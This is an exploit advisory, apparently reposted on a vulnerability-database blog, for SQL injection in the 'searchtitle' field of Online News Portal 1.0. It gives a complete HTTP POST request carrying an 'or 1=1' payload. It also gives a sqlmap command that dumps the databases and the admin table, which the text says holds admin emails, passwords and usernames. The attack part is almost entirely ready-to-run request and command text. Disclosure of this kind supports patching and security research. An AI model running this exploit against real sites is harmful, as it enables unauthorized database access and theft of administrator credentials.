Tuesday, March 16, 2021

Online News Portal 1.0 SQL Injection

# Exploit Title: Online News Portal | 'searchtitle' SQL Injection
# Exploit Author: Richard Jones
# Date: 2021-03-15
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#POST /newsportal/search.php HTTP/1.1
#Host: TARGETIP
#User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
#Accept-Language: en-GB,en;q=0.5
#Accept-Encoding: gzip, deflate
#Content-Type: application/x-www-form-urlencoded
#Content-Length: 27
#Origin: http://TARGETIP
#Connection: close
#Referer: http://TARGETIP/newsportal/search.php
#Cookie: PHPSESSID=el2er006ddftfemargc4fnqkbj
#Upgrade-Insecure-Requests: 1

#searchtitle=%27or+1%3D1--+-

#Sqlmap

#sqlmap -r sql.txt --batch --dbs --dump -T tbladmin
# admin email, password, username
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated